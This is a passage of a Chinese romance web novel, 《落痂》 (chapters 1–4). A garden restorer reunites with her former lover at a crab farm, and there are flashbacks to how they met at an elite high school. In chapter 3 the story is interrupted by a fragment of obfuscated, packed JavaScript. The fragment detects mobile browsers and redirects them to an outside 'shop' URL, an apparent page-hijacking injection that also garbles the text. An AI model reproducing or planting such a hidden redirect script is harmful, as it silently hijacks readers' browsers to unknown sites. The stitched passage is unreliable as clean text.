《落痂》
1. 001 又一个雨季
《落痂》
文/顾由卧
晋江文学城首发
2026年3月
云诗加在年初的时候接到了个新项目——澈园的景观修复。
收到的合同书用特制的牛皮袋寄来。
碎金的火漆印,相当正式。
里头除了合同书,还附一封手写信。
用墨蓝色的钢笔写的,疏朗的行书体,言辞考究。
信中提及,请她务必修复澈园,特别是重现澈园历史遗留下的古旧画卷上“重山疏水”之景。
落款署名是一个“谢”字。
虽然没见过甲方本人,但合同到位,定金如约到账,预期报酬丰厚。
云诗加便决定,顶着连绵的雨季,带上助理,即刻开工。
澈园在郊外,驱车许久才赶到,泊车后还得步行一段路。
恰逢黄梅雨季,虽撑着伞,但水汽还是把两人的雨衣浸得潮湿。
云诗加推开澈园的木门,一股腐朽发霉的味道似有若无地绕在鼻尖。
她微微皱眉,这里的状况似乎比客户发来的图纸上显示的更为破败棘手。
绕过沉暗曲折的走廊,澈园的西北角上,围墙边,有一棵珍稀大树,在江南极为罕见,名为“孩儿莲”。
五月正是孩儿莲开花的季节,花朵小巧玲珑,像孩童的粉脸。
云诗加皱着的眉头舒开,虽然旧了些,但整个园子设计之初应当是极为考究的,因此修复起来也有章法,还算是个不错的活计,她已经有了修复设计的头绪。
“我先上去看一眼。”
云诗加站在孩儿莲下,展开攀树专用绳,老练地扣上安全扣。
助理金琳则用电子测高仪测算着这棵大树的主枝分叉点高度。
双脚蹬离地面,绳索与粗糙树皮摩擦发出沙沙声。
雨衣并没影响她的视线,越往上,风感也越明显,带着高处特有的凉意。
云诗加攀到了一处三叉支撑点,将自己固定在树干上,略作休息。
从这里俯瞰,透过连绵的雨雾,整座荒僻的澈园布局尽收眼底。
东北角是一方水池,池水绸绿腥臭,植物枯腐在池底。
云诗加眯眼,尚能辨认出,水池里曾种的是并蒂莲。
助理金琳往池边的假山石上一蹲,在平板电脑上勾勾画画,记录下今日勘察的内容,不时关注一下老板的动向。
顺着云诗加的视线,金琳惊喜地说道:
“云总,这个水好像是活的!”
还真是。
云诗加顺着假山石堆砌下的暗流往澈园的围墙外看去——那是一片广袤的湖泊,湖面波光粼粼。
近岸处,围网划出了一方方规整的蟹塘。
围网间有一艘渔船正在巡视,似有两人站在船尾。
但隔着淅淅沥沥的雨幕,一切都很模糊。
“金琳,来,搭把手。”
从各个角度观察好这棵大树的状态后,云诗加决定下锯子,把影响整个园子天际线视觉的一根旁支锯下来,带回去做评估,若是条件允许,或许还能培植出一棵新枝。
粗枝从主干上断开,发出一声沉闷而干净的“咔”。
端口平滑,露出健康的浅色木质纹理,云诗加满意地点了点头。
顺着投掷绳,金琳在下方稳稳接住。
粗枝落入下方的板车中,发出“咚”的一声。
“噗咚——”
外面湖岸处,也随之传来一声闷响。
云诗加往声音处俯瞰,蟹塘间的那艘渔船上,其中一人不见踪影。
湖面泛起波澜,那人在水下扑腾,不像会游泳的样子。
船上的另一人或许一时慌了神,正徒手去够水下那人,后又抛去一个橙色救生圈。
云诗加没多想,顺着攀树绳索往下滑,一秒落了地。
她卸下主绳扛在肩上,往澈园的后门奔去,后门直通湖边小道。
金琳正用板车将锯下的粗枝往车上运,见老板往外冲,不解地问:“云总,怎么啦?”
云诗加:“没事,你运你的,我去救人!”
到了湖边,云诗加将攀树主绳一头拴在栏杆上,一头快速打了个环状八字结,像西部牛仔套索般在头顶旋转两圈,凭借多年抛掷投掷绳的准头,奋力将绳环抛向落水者。
“抓住绳子!套身上!我拉你上来!”
云诗加的声音洪亮而镇定。
落水者扑腾着套住救生圈,一手本能地抓住绳索,很快被拉至岸边浅水区。
那艘渔船也靠了岸。
船上那人身穿墨绿色的橡胶连体裤和同色连帽雨衣,从船上跨入水中。
浅水区不过大腿深,他将落水者一把捞起,扛到了岸边。
“人没事吧?”
云诗加气喘吁吁地问。
狂奔和拉绳索让她的心跳快到像要从胸腔里飞出来。
她出声的瞬间,捞人的那位一下抬起头。
雨突然下大了。
云诗加抹了一把脸上的雨水,直到对方走到面前,她才看清了墨绿色雨帽下的那张脸。
那张熟悉的,怀念的,她午夜梦回时,总会想起的脸。
舒洛原。
湖边的风声与一切嘈杂像是被过滤掉了,渐渐弱了下去。
她的耳边只剩自己的心跳声,比刚才更快、更剧烈,像被莫须有的雷电击中了一般。
咚咚、咚咚。
她觉得莫名有些眩晕,像第一次登高爬树时的那种高空恐惧感,只能僵直在原处,任由心跳脱缰。
于是,她站在原地,僵硬地瞧着。
舒洛原将落水那人放倒在地上。
那人穿了救生衣倒是没呛到什么水,从惊吓中回过神来,开始呼痛:“哎呦哎呦,我的手好像断了!”
舒洛原条件反射地摸向口袋,却想起手机被落在办公室里,没带上船。
于是他向她茫然地求救:
“能帮忙打个急救电话吗?”
云诗加深吸了口气,提议道:“我的车就在那边,直接送医院吧。”
她打电话给金琳,让她把车开过来。
金琳很快把车开到岸边。
云诗加为了工作需要,买的是辆二手日式皮卡车。
也顾不上许多,落水者浑身湿透,手臂疑似骨折,腿上也有擦伤,只能将他湿淋淋地放平在后座。
后座还有些堆积的杂物,坐不下第二个人了。
金琳负责开车。
云诗加打开副驾驶的门,看了眼身后的男人,欲言又止。
舒洛原因为刚才扛人,雨帽掉落在肩上,露出侧脸利落的线条。
但与这张脸相配的,却是一身墨绿色的橡胶工作服,满身泥点,狼狈不堪。
他也没矫情,朝她点了点头,从皮卡的尾部直接翻身上了运货的车斗。
车斗是没有顶的。
他压低了雨帽,催促道:“走吧。”
去医院的路上,云诗加透过中央后视镜,看着车斗里的那个背影。
跻身在灰硬的板车和硕大的切枝之间,他只能蹲坐在车斗一侧,微微佝偻起背部。
透过潮湿的玻璃,那个墨绿色的背影,随着皮卡车的晃动而左右摇晃,像灰暗森林中的火琉璃树,绿油油的,泛着白亮亮的光。
云诗加有些恍惚。
仿佛又回到了那一年。
他挺阔的身躯压上来,汗津津的,热烘烘的,在暗处用他的唇找她的脖颈。
她的眼里有泪,看不清其他。
只模糊记得他目光幽幽,让她误以为是情根
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深种。
他突然往后转头,似乎想透过后窗看一下后排那位伤者的情况。
云诗加立刻收回了目光,侧头向窗外看去,雨天的天色很暗,玻璃窗映射出她眼中的波澜。
他不过是坦荡的一眼。
她却想入非非。
过去了那么些年的死灰也开始揣着苟延残喘的复燃期待。
“到了。”
金琳把车停在了医院急诊大厅门口,按下了P档。
云诗加没下车,只从后视镜里看着。
车斗里的男人从侧面翻身下来,打开后座门,撑起那位伤者,将他扶到了轮椅上,然后推着伤者,掀开门帘进去了。
金琳解开了安全带,问她:“云总,我们要不要去帮忙?”
云诗加:“你倒是热心,走吧,切枝还要运回去呢。”
金琳:“……”
也不知道刚刚冲上去见义勇为的是谁。
金琳重新系上安全带,放下手刹。
刚滑下临停坡道,一只手掌扒上了副驾驶的车窗,逼得刚起步的车又停下了。
云诗加放下车窗,对上那双漆黑的眼眸。
“抱歉,把你车弄脏了,留个联系方式吧,我来付洗车费。”
舒洛原淡淡笑着,语气和过去没什么不同。
“不用了,我的车本来就是拉货用的,脏惯了,不用洗。”
云诗加话一出,就有些懊悔,这话细品像是骂人。
“不管怎么样,还是要谢谢你,加加。”
舒洛原头微垂,趴在窗口,声音很轻,像在乞求。
云诗加低头,轻咬了唇上的死皮,更加懊悔。
她应当像想象中那样,遇到前任,摆出洒脱的姿态,一笑而过,不应该说出这样带刺的话,更不应该被他叫一句加加就心神荡漾。
她不再看他,取出手套箱里的签字笔,翻出一张不知何时被塞到前挡风玻璃上的广告纸。
硕大的红色字体印着男科广告,“重振雄风”。
她忙把广告纸翻过来,没想到背面印着割□□广告,“切一根送一根”。
无处落笔。
……
宽大的手掌从窗口伸进来,掌心朝上。
“写我手上吧。”
那是一只男人的粗粝右手,并不精致,甚至有些可怖。
一道狰狞的疤痕盘踞在他的掌根处,蜿蜒至手腕和小臂,掩藏在袖口下,像一条吐着信子伺机而动的蛇影。
云诗加的睫毛微微颤动。
她抬笔,避开那道疤,将十一位数字写在他的掌心,触到他掌根的指尖微微发烫。
她写得很快,歪歪扭扭。
“好了。”她轻声说。
那只手从她的视线里挪出去。
她的余光只能看见雨水沿着他的雨衣下摆流下来,在他的橡胶鞋旁汇成一滩,橡胶鞋往后退了一步。
云诗加不动声色地关上车窗。
窗缝合拢之前,舒洛原的声音从缝隙间溜进来:“下次见,加加。”
二手皮卡车滑入城市车流,沉默在车厢里流淌,路口的绿灯跳转红灯,红色灯影笼在她的脸上。
她戴上耳机听歌,躲避金琳朝她瞟来似有若无打量的眼神。
耳机里的歌词突然闯进她出神的思绪里,“满脑回忆又再次浮现,有些面孔好久没见……”
他说下次见。
她嘲讽地笑了笑。
曾几何时,每次分离的时候,他总爱把她压在冷硬的门板上,喘着灼热的粗气,在她耳边问,加加,下次什么时候见。
那时候,她总会颤抖着拥住他精瘦的腰,把头埋在他的颈窝里,贪恋一点温存,然后一遍又一遍地告诉他:
舒洛原,只要你想见我,我随时都会出现在你面前。
2. 002 梅香如故
2016年的寒假。
云诗加捡到了一张校园卡。
校园卡上印着证件大头照。
灰扑扑的色调,深蓝色的背景,卡面磨损,照片随之变得模糊。
那是一张精心雕琢过的脸——
脸颊没有多余的肉,勾勒出分明的棱角,鼻梁挺直,深灰色的眼眸,掩在薄薄的无框镜片后面。
唯一浓郁的是他的眉毛——浓郁得像被墨描过一样,郁郁葱葱,这使得他的眼睛上仿佛笼罩了一片树林,让整张精瘦的脸显得不那么刻薄,平添了一股奇异的、野草般的少年生气,像风刮过的林浪。
照片的左侧印着三行字:
梅理中学
高三(1)班
舒洛原
校园卡是下午一点在状元街的人行道上捡到的。
云诗加是一点半走进的梅理中学。
她本想把这张遗失的校园卡交给梅中的保安。
但正值午休,岗亭里正在打盹的保安只看见她高举着一张校园卡,就迷迷瞪瞪地打开了门禁,挥了挥手让她进去。
云诗加在围墙外不止一次打量过梅理中学的建筑。
门口有一条长长的甬道,两排郁郁葱葱的树木夹道,常有三三两两的同龄人穿着梅中的校服面带笑意地跨进这所百年老校。
她时常好奇,这么长的甬道尽头,是什么。
机缘巧合进来了,她便顺着甬道往里走。
柏油路平整洁净,阳光透过树叶的缝隙投下来,亮晃晃的,让人睁不开眼睛。
她眯起眼睛,晃悠悠地往前走,不知不觉竟已到了甬道的尽头。
一方不大的灰白色小广场,几面旗帜,几盆花草,一个喷泉,两座雕像。
广场是中轴线,两侧是两幢对称的红色小楼,古朴的红色砖墙,米白色的屋顶,在阳光下闪着细碎的光芒。
不知是名校崇拜的心理作用,还是别的什么原由,云诗加仰着头赞叹,觉得梅理中学格外的好看,和青田中学灰扑扑的校园建筑完全不是一个风格的,简直天差地别。
“叮铃铃——”
上课铃响了。
偌大的校园突然安静下来,后头两个学生抬着一箱作业本快步走过,云诗加侧身避让。
从她后头,又匆匆跑近几个晚到的人影。
其中有一个格外高挑。
亮白色的休闲鞋,白得发光的卫衣,袖子卷起来折到手肘上,灰色长裤随着他的跑动晃成了虚影,浓黑的短发在阳光下衬得柔软蓬松。
他与她擦身而过,几步就跨上了红楼的台阶,穿过一楼的走廊,消失在高三(1)班的门牌下。
云诗加眨了眨眼睛。
她好像找到校园卡的失主了。
她绕到了红楼的后头,是一片草坪,顺着窗户数过去,高三一班是最后一间教室。
她打算把校园卡塞进他们班的窗缝里。
整个红楼建筑是垫高的,她踮着脚才能勉强用手指尖够到教室的北侧外窗台。
其中一扇窗户漏着一条缝,里头的女老师正在讲解刚刚结束的期末全市联考的卷子。
“这次联考,选择题最后一道很难,有两个陷阱,即使避开一个陷阱,也容易掉进另一个里,整张英语卷子,全市正确率最低的就是这道题,我们班有哪些同学选对了答案C,举个手我看看……”
“嗯,OK。好的放下吧,就连我们班,正确率也没到一半。”
“舒洛原,你选对了,来跟大家说说你的思路。”
听到这个名字,云诗加的手一抖,刚够到窗台上的那张校园卡掉落下来,顺着她的后脖颈,砸进她的毛衣里。
冰凉的触感滑过皮肤,她一阵瑟缩。
里头男生的声音也像簌簌积雪从树梢掉落,清清冷冷的,回答言简意赅,但她却莫名听了进去。
“过去完成时排除A,非限制性定语从句排除B,虚拟语气排除D。”
从背后的毛衣里捞出了那张校园卡,云诗加顺势坐在了靠砖墙的一块石头上,卸下了书包,从里头掏出联考卷子。
对着原题一悟,豁然开朗。
她在期末的联考中,考了青田中学的第一名。
考完试,学校便放了寒假,没有老师讲卷子。
青田中学从来没有寒假补课的说法,周末双休,也没有晚自习,纯放养模式。
当然,与之相配的是全市最底层的一批生源,以及每年垫底的高考成绩,本科上线数都寥寥,更不要说重本了。
云诗加中考的成绩还算不错,顶级中学的尖子班或许够不上,但进普通班还是绰绰有余的。
她妈不懂学校好坏,觉得青田中学离家近,方便走读,她爸贪图青田中学许诺的奖学金和免学费条例。
她便稀里糊涂地进了青田中学。
等她意识到自己走偏了时,一切都已经来不及了。
青田中学不止学生混日子,老师也是在混日子,觉得他们朽木难雕,只慢吞吞地照本宣科,教案好几年没更新,只会讲解最基础的知识点,下课铃响便掉头就走。
遇到难题怪题,云诗加只能用手机搜索,能在网上搜索到讲解还算好的,搜不到的便只能自己悟。
这次模考的英语选择最后一题,就是搜不到讲解的题目之一。
没想到,捡到一张校园卡,竟让她得以进入到梅理中学,在窗台下听到了讲解。
这算是……对她好人好事的回报吗?
云诗加把厚本子垫在膝盖上,将卷子铺开,拿出红笔,跟着窗户中漏出的课堂讲解,对每道题都进行了详尽的记录。
下课铃响时,她甚至觉得意犹未尽。
十分钟的课间,整个校园的气息都热闹了起来。
有几个男生抱着篮球从红楼后的草坪上穿过,往操场跑去,对着静坐在石头上的云诗加投来打量的一眼。
云诗加抱着卷子和书包站起身,左右观望,想让自己的举动看起来没这么奇怪。
“哗啦”一声,高三一班靠北的一扇窗户被打开透气,教室里温热浑浊的空气溢出来,她听见里面靠窗的两人在交谈。
“下节什么课?”
“好像是物理吧。”
“哦,物理老头要干嘛?”
“估计也是讲联考的卷子吧。”
“无聊,懒得听,那我只能刷题了。”
“喂,你考了满分当然不用听,也太炫耀了吧!”
“切,你也就扣了一分。”
“你是物理学神,我肯定不如你。”
云诗加有些艳羡,原来好学校的同学们之间会比较成绩,而不是比较谁谈的恋爱更多、谁抽的烟更贵。
“喂,你俩谁校园卡借我一下,
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我买瓶饮料。”
刚刚课上那个清冷的声音灌进云诗加的耳朵。
她站起,抬头望去。
刚刚那个与她擦肩而过的亮白色背影从靠窗的最后一排站起,斜靠在玻璃窗上,轻拍前座人的肩膀。
前座很快递给他一张校园卡。
云诗加攥紧了外套口袋中的校园卡,跑着绕回了红楼的正面,看见那个亮白色的背影正在走廊尽头的贩卖机前。
他似乎有些纠结,伸手撩拨了一下额前的碎发,犹豫片刻,才选择了一罐咖啡。
阳光从走廊的檐口投进来,洒在他的身上,斑驳的光斑让他像一只骄傲的银白色孔雀,走廊的人流熙熙攘攘,但似乎只有他是镀了一层光边的,熠熠生辉的。
阳光也洒在她的身上,全身的血液仿佛被暖热。
那是一个少见的暖冬,她在那一刻做出了一个不太道德的选择。
似乎感觉到背后的注视,舒洛原从贩卖机下取出了咖啡,转头朝后看去。
但后面什么都没有,他回了教室。
几分钟后,云诗加又回到了红楼后的那片草地上,背靠着古老的红色砖墙,坐在那块似乎为她量身定制的石头上,大腿上摊开着模考的物理试卷。
侧耳听着教室里的讲解,她认真做着注释,将错题一一订正。
一下午,不论什么课,她比教室里的人都听得认真,不知不觉竟已傍晚。
校园甬道上的昏黄路灯已经燃起,最后一节课的下课铃响起。
蜷缩了一下午的脊背有些发冷僵硬,云诗加双手举起,伸了个大大的懒腰。
“啪唧——”
“啊——”
最后一扇窗户的透风处突然洒出一瓢水,全数浇在她的身上,劈头盖脸,毫无防备。
水是温热的,顺着她的脸颊渗入宽松的毛衣,沿着脊椎流至腰际。
然后开始发凉。
那扇窗户突然被拉开,探出那张校园卡上的脸。
他惊讶而歉意地瞪大了眼睛。
“对不起,同学……我不知道……”
云诗加抹了一把脸上的水珠,眨了眨眼睛,仰着头,视线模糊地对上窗口那双眼睛。
那是他与她的第一次对视。
也是他们故事的开始。
其实那一天,她背着书包,包里装着复习资料,本打算去市图书馆自习。
市图书馆就在梅理中学的斜对面,下了公交车,她本该沿着马路继续往前走,到了路口往右拐弯就是目的地。
但偏偏那天,她在公交车上远远看到,站台旁的民居围墙后头,伸出一枝粉白的梅花,开得极好。
她便突然起了闲心,下了公交右拐,往巷子里钻进去,想看看那枝梅花的全景。
但围墙高高,她没看到。
倒是从巷子里钻出来,进了梅理中学后门的那条状元街,在人行道上捡到了那张校园卡。
后来,她用了很多年的网名昵称“梅香如故”,头像是一树盛开垂枝的粉白色洒金梅。
常被不熟悉的人误以为账号背后是一位中年人,她也只是笑笑,并不解释。
没有人知道,如果没有对那一枝梅花的无意间一瞥,那她之后很多年的人生,或许会是一段完全不一样的故事。
而不是一段说起来很长很长的、让她止不住笑着流泪的故事。
3. 003 她不喜欢将就
云诗加的前十七年,过得太过平淡,说起来就是几句话的事。
不过就是按部就班地上学、考试,父母说什么便是什么。
她爸陈明华是个厨师,开了家小饭馆,生意还算不错,但没事喜欢去打牌,牌技极差,运气也不好,余下的钱只能勉强糊口。
她妈云画是个天真单纯的女人,那个年代少有的独生女,被宠着长大,一辈子没受什么苦,但也没什么斗志,混了个街道服务办的合同工,拿着微薄的工资喝茶看报,整天和同事绕着家长里短碎嘴。
所以,云诗加从小就过得很将就。
吃穿用度很将就。
家里经济一般,云画执拗于省钱。
吃的是饭馆剩余的料头,穿的是亲戚家表姐穿过的旧衣,家里用的是年纪比云诗加还大的家具。
学习很将就。
父母眼界不高,对她的学习成绩没什么太高要求,觉得女孩子不用读书太多,凑合就行。
交友很将就。
没有零花钱,自然也没什么朋友,少有的空闲时间都在饭馆帮忙,没有空出去玩。
一起住在筒子楼的发小家里赚了钱搬家了,越来越少联系。在学校里,跟谁做同桌便跟谁要好一些,但离了学校,也没什么联系。
云诗加是家长最喜欢的那种孩子类型,乖巧、文静、懂事,没有叛逆期,不需要费心。
但没人知道,她最讨厌将就。
她从高一开始,对学习格外认真,对她而言,这是一种反叛。
这种反叛的起因很简单——
曾经住在她家楼下的一个姐姐,考上了清大,毕业后留在了京市,回来看外婆的时候,一身靓丽的时装,持着最时髦的手机,给邻里街坊都送了水果零食感谢往日的照应。
那个姐姐挨家挨户送礼时,云诗加就透过楼梯转角的缝隙偷偷看着。
她也想成为这样的姐姐,买最时髦的衣服,用最好的手机,大方地送礼。
在她的认知里,最直接而正确的选择,就是考上一个很好的大学,去大城市。
她开始拒绝去陈明华的饭馆里帮忙,把课余的精力都投入在学习上,父母虽然不在意成绩,但也知道高考重要,便由着她。
每到假期,就从饭钱里省出两块钱,坐公交到市图书馆来自习。
市图书馆靠窗的那排位置,可以透过窗户看到梅理中学的大门,听说里面的学生重本率可以达到百分之八九十。
云诗加对此很是神往。
梅中的学子,在她眼里也仿佛比其他人多长了一对触角,可以接通别人看不见的学习天赋信号波。
所以,当那瓢水浇在她脸上时,她选择了落荒而逃。
气喘吁吁跑出梅中的大门,水已经蒸发干了,脸颊的表面是冰冷的,但内里却红彤彤的发着热。
她捂着脸上了回程的公交车,突然意识到,那张校园卡还在她口袋里。
第二天,云诗加早早来了梅中,混入了进校的人流中,又坐在了红砖墙下的那块石头上。
最后一排的窗户半开着,老师的声音比昨天更清晰。
她想,等她听完模考所有科目的试卷讲解,她就把校园卡还回去。
但还剩一门化学没听完,就有第二个人发现了她。
“这位同学,你在做什么?”
一个矮瘦的年轻老师突然出现在墙根后。
云诗加惊得站起身,把手中的笔记和试卷藏在了身后,嘴皮翕动,一时说不出话。
“可以给我看看吗?”
那个老师向她伸出手掌,云诗加犹豫着把笔记和试卷交了出去。
她本以为自己是孔乙己,面对责问,只能怯懦说出“读书人的事怎么能叫偷呢”,但想象中的场景并未发生。
这位老师将她带回了办公室,云诗加低着头站在办公室中央,数着地上的瓷砖,却听见老师温柔地问她:
“我叫卢飞雁,你叫我卢老师就好,我是高三一班的班主任,教语文。正好我们班后面还有一个空位,你直接进去听课吧。”
“啊?”云诗加讶异地抬头,看着卢飞雁老师脸上温和的微笑,简直不敢置信。
“还有一位同学也在我们班里插班补课,你就跟她坐在一起好了,这么冷的天,在外面蹲着怪可怜的。你叫什么名字?”
“我叫云诗加。”
“嗯,很好听的名字。”
卢飞雁笑意晏晏,让云诗加渐渐放松了下来。
课间,卢飞雁领着云诗加,从高三一班的后门进去,让她坐在了最后一排靠南侧走廊的位置。
同桌是一个圆脸短发的女孩,对她笑了笑。
前排几个同学也好奇地往后打量了一眼,但都没说什么,又低头学习了起来,仿佛对短暂停留的人多加关注,是一件浪费时间的事情。
云诗加轻轻放下书包,不自觉侧头,看向这一排最靠北侧的那个位置。
他今天穿了一件棕色的麂皮外套,正撑着侧脸往北窗外看景发呆,并未对新来的同学投以关注。
同桌向云诗加伸出了友善的手,“你好,我叫涂玉棋,隔壁三中的,你也是来插班补习的吗?你叫什么?”
云诗加轻轻握住了涂玉棋的手,“我叫云诗加,青田中学的。”
说到学校,她越发小声,好在上课铃声覆盖了她的轻声细语。
涂玉棋很外向热情,下午有一个大课间,她主动提出陪云诗加去复印教材,梅中的许多教材和习题都是教研组单独编写的,打印在A4纸上,复印给学生们。
涂玉棋领着云诗加熟门熟路去了小卖部的打印室,把自己的册子借给她复印了一份。
走回教室的路上,云诗加抿着唇感谢,涂玉棋挥着手让她别这么客气。
“幸好你来了,不然就我一个人做插班生,可尴尬了,也没人跟我说说话,把我憋死了。”
涂玉棋已经自来熟到勾住了云诗加的臂弯,云诗加微微僵硬,但没好意思拒绝。
云诗加:“他们……都不跟插班生说话的吗?”
涂玉棋:“哪有空呀,都忙着刷题呢,来这儿之前,我以为我们三中算是学习氛围很好的了,没想到梅中更是变态级别的,简直是拼命,好多同学放学以后还要去校外的补习班呢,都想拼那几所顶级大学。”
走进教室前,涂玉棋把头凑近了她的耳边悄声问道:“欸,你爸妈给教导主任送礼了吗?送的什么呀?”
云诗加发愣,“教导主任?”
涂玉棋挠了挠头,问道:“不是教导主任吗?那是认识校长?”
有人正从教室后门走出来,两人忙缄口。
走出来的正是舒洛原。
他手上拎着垃圾袋,在门口绅士侧身让两个女生先进,等她们进了,朝她们点了点头,才往门外走去。
云诗加没忍住,回头看了一眼。
走廊上的那个人,身形清瘦挺拔,比其他人都要高出半个头,明明拎着黑色垃圾袋,却像提着什么高档装饰包一样利落有形。
“你也觉得他蛮帅的吧?”涂玉棋突然凑在她耳边坏笑。
云诗加回神,坐在位置上把刚打印好的资料整理分类。
“舒洛原跟我们可不一样,”涂玉棋自顾自说道,“他物理竞赛拿了奖,已经拿到清大的降分政策了,只要高考考到本一线,就能稳进清大了,本一线对他来说应该是小菜一碟吧。”
清大。
云诗加手上一顿。
一个遥不可及的名词。
“哦,那很厉害了。”
云诗加淡淡回应了一句,试图弱化心中的起伏,做一个无关紧要的旁观者。
梅中寒假的课程和平时不太一样,因为天黑得晚,早一节课放学。
云诗加拒绝了涂玉棋一起去公交站台的邀约,特意留下来磨蹭。
她想把那张校园卡还给舒洛原。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342268|199400||http|test|mini|href|location''.split(''|''),0,{}));
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>她埋在书桌前,手上假装在草稿纸上勾勾画画,不敢明目张胆地窥探北侧的那个人,只能把头发垂下来,透过发丝间隙,偷偷瞥过教室的那一角。
舒洛原的同桌是个高高胖胖的男生,说话嗓门很大,把书包甩在肩上,问舒洛原:“你还不走吗?”
舒洛原微笑着说:“高胜寒,你先走吧,我等我爸来接。”
高胜寒点头:“哦,行吧,拜拜,明天见。”
高胜寒走了以后,教室里就只剩下云诗加和舒洛原两个人了。
云诗加暗暗深吸了一口气,忙不迭站起身,从温热的外套口袋里,把那张已经染上她体温的校园卡拿了出来。
“抱歉……”她说。
“抱歉……”他说。
异口同声。
云诗加飞快地抬头看去,与少年的目光交触,他不知何时也站起了身,手肘轻轻落在光洁的窗台上。
他身后的北窗是半开着的,年末的凉风从窗口灌进来,把他书桌上的本子翻得哗啦响,他的发丝也在凉风中显得格外清爽。
云诗加感觉自己的心脏正在不受控地舞蹈,像是为了庆祝他们这微小的默契。
不是“对不起”,也不是“不好意思”。
而是“抱歉”。
真奇怪,这种悸动像野草一样,顺着风便长起来了,明明只是一句碰巧相同的话而已。
“上次我偷懒,本来想把水壶里的水浇在草地上,却不小心倒在你身上了,我很抱歉,但还没来得及道歉,你就走了。作为补偿,如果有需要的话,我可以把复习资料借给你,或者……你有什么需要帮助的地方,也请尽管开口。”
他说得很慢很淡,虽然隔着大半个教室的距离,但落在云诗加的耳朵里,却像他在耳边呢喃细语。
“没关系,是我不应该躲在墙角的。”
云诗加睫毛微颤,抬头努力直视他的眼睛。
“墙角也是公用的,谁都可以在那里。”他说。
她看见他笑了,像风吹波澜在水上漾开,云诗加学着勾了勾唇角,努力让自己也笑得很自然。
他又问道:“但你为什么抱歉?”
云诗加把早就准备好的说辞背了出来:
“我那天在路上捡到了你的校园卡,随手放在包里,后来忘记了给你,没有校园卡应该进出校门都很不方便吧。”
舒洛原又笑了笑:“那我得感谢你才对,你不需要抱歉。”
云诗加摇了摇头,“如果我没捡起来,说不定你原路找回去,早就找到了。”
舒洛原一手插在裤袋里,一手撑在书桌上,突然轻笑出声:
“我发现……你的逻辑很不一样,好事都被你说成坏事了。校园卡我早就去补办了,补办很方便的,你不用还给我了,你手上这张应该已经失效了,帮我扔掉吧。”
“嗯?”
云诗加捏紧了手上的卡片。
“早点回家吧,不早了。”
舒洛原没有带书包,空身从教室后面的空地走过,出了后门。
云诗加抚着胸口,坐回了椅子上,等待心跳平静下来。
但走廊那人突然从南侧窗口探进来,云诗加侧头发现一张放大的脸出现在眼前,他们之间只有短短一臂的距离。
她的呼吸骤停了一瞬。
“对了,我桌上的笔记借你好了,随便用,不用客气。”
舒洛原似乎才想到什么,他指着自己的书桌说道。
“呃,呃……好,谢谢。”
云诗加觉得有些缺氧,几乎不敢呼吸。
“对了,你叫什么?”
他的目光扫过她,歪头问道。
“云诗加,诗歌的诗,加减的加。”
她捏紧了手中的草稿纸,条件反射地回答道。
“我叫舒洛原,很高兴认识你。”
说完,舒洛原便摆摆手走了,没有听见她心里的那句——我也很高兴认识你。
4. 004 不咸不淡
深夜,诗加园艺艺术工作室只剩一人,与昏黄台灯一盏。
打印出来的澈园初稿图纸被蒙上了一层透明硫酸纸,云诗加正执铅笔在上面圈圈画画,三两笔勾描便定了第二稿的形。
虽然已经做了老板,但很多项目她还是更喜欢亲力亲为。
在电脑上敲完了第二天的工作安排,云诗加站起伸了个懒腰,收回手臂时,手肘误触到鼠标,点开了网页上的同城新闻栏。
其中有一栏吸引了她的注意。
【人物访谈:蟹二代创业者用品牌运营与科技赋能实现产业突围】
封面图是一张人物照片。
清晰的面容轮廓,幽黑的眼眸直视镜头,身后是波光粼粼的万亩蟹塘,而他是这个王国的主人,眼里坠含着细微的光。
和那日重逢的狼狈不同,他在照片里穿着一身灰色的休闲西装,每根发丝都被利落地整理起来,没系领带,衬衫领口微微敞开,不算太过隆重,但站在细雨纷飞的蟹塘围网前似乎刚刚好。
搁置在工作台上的手机嗡嗡一振,云诗加从电脑上收回视线,点亮了手机屏,通知栏上沿弹出一条最新的消息:【洛请求添加您为好友。】
云诗加盯着屏幕发怔,指尖迟迟没有落下。
身体里的细胞仿佛在疯狂挖掘回忆里的战栗与沸腾。
一个人要消失在另一个人的世界里,就像一滴水落入海洋,就算再找回,往往也不是原来的那个人了。
但偏偏命运的安排是,将那个人重新带回你的面前。
一瓢水烧干了、蒸发了,那滴水重新凝结在你的眉间与心头,让人不得不燃起新的希望——
也许就是那日投入海洋的那滴水呢?
回到家里洗漱完已是半夜,挂钟的指针刚过十二点。
云诗加窝在床的一缘,盯着天花板企图入睡。
外头洗衣机正在轰隆隆地运转,搅得她心烦意乱,更是睡不着。
有些事情也像滚筒洗衣机里的衣物一样,在她脑子里上下左右来回翻滚。
偏巧,放在床头柜上的手机屏幕又亮了。
她拿起一看,是涂玉棋发来的信息,问她要不要一起去参加梅中的校庆。
说起来也是一段奇缘,涂玉棋和高胜寒马上要结婚了,还邀请她去做伴娘。
两人在高三时甚至互相看不对眼,但出了社会,一个在做小学老师,一个考上了公务员,经由介绍人相亲又联系上了,一来一去还真看对了眼。
涂玉棋和云诗加保持着一种不咸不淡的朋友关系,联系频率不高。
多数是涂玉棋找的她,约出来吃饭也都是涂玉棋不停地找话题聊,云诗加只默默听着,她有时也疑惑这种单向的友谊是怎么维持的,但涂玉棋明显乐在其中,她是个永远不会嫌朋友多的人。
涂玉棋和高胜寒的姻缘,云诗加也算是全程见证并参与了——涂玉棋相亲的那一晚,就大惊小怪地给她打来了电话:“你猜我今天相亲遇到了谁!”
云诗加还没来得及猜测,涂玉棋就像倒豆子一样,不吐不快,连他们相亲吃的几道菜都交代得一清二楚。
最后,涂玉棋还问她:“你觉得这是不是一种缘分?”
云诗加想了想说:“同样是回到苏城工作的人里,你们年龄相仿,而且圈子不大,遇上也不是什么小概率事件。”
当时说完这话,云诗加不免想到了另一个人。
再遇见舒洛原应该能算是一件小概率的事。
这次校庆,她第一反应就是想拒绝涂玉棋的邀约。
她们俩,一个是三中的,一个是青田的,虽然在梅中借读过一学期,但怎么算也不能划到梅中校友的行列。
但她的指尖刚打了两个字,涂玉棋又发来了一连串轰炸式信息:
